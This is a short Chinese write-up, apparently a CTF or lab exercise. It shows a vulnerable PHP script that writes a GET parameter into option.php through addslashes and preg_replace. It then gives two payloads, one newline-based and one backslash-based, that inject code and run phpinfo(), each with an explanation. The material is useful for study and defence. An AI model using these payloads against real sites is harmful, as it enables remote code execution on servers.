上碼
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>
法一:
-
第一步:?option=aaa';%0aphpinfo();//
第一步
2.第二步: option=aaa
第二步
原理:正則表達(dá)式中 .可以匹配除了換行符之外的所有字符览露,所以人工添加換行符后,后面一個(gè)但因后就匹配到前面的那個(gè)引號(hào)于是phpinfo();得以獨(dú)立存在
法二:?option=';phpinfo();//
法二
原理: '會(huì)讓addslashes()在前面加一個(gè)反斜線,兩個(gè)反斜線轉(zhuǎn)譯成一個(gè)反斜線23333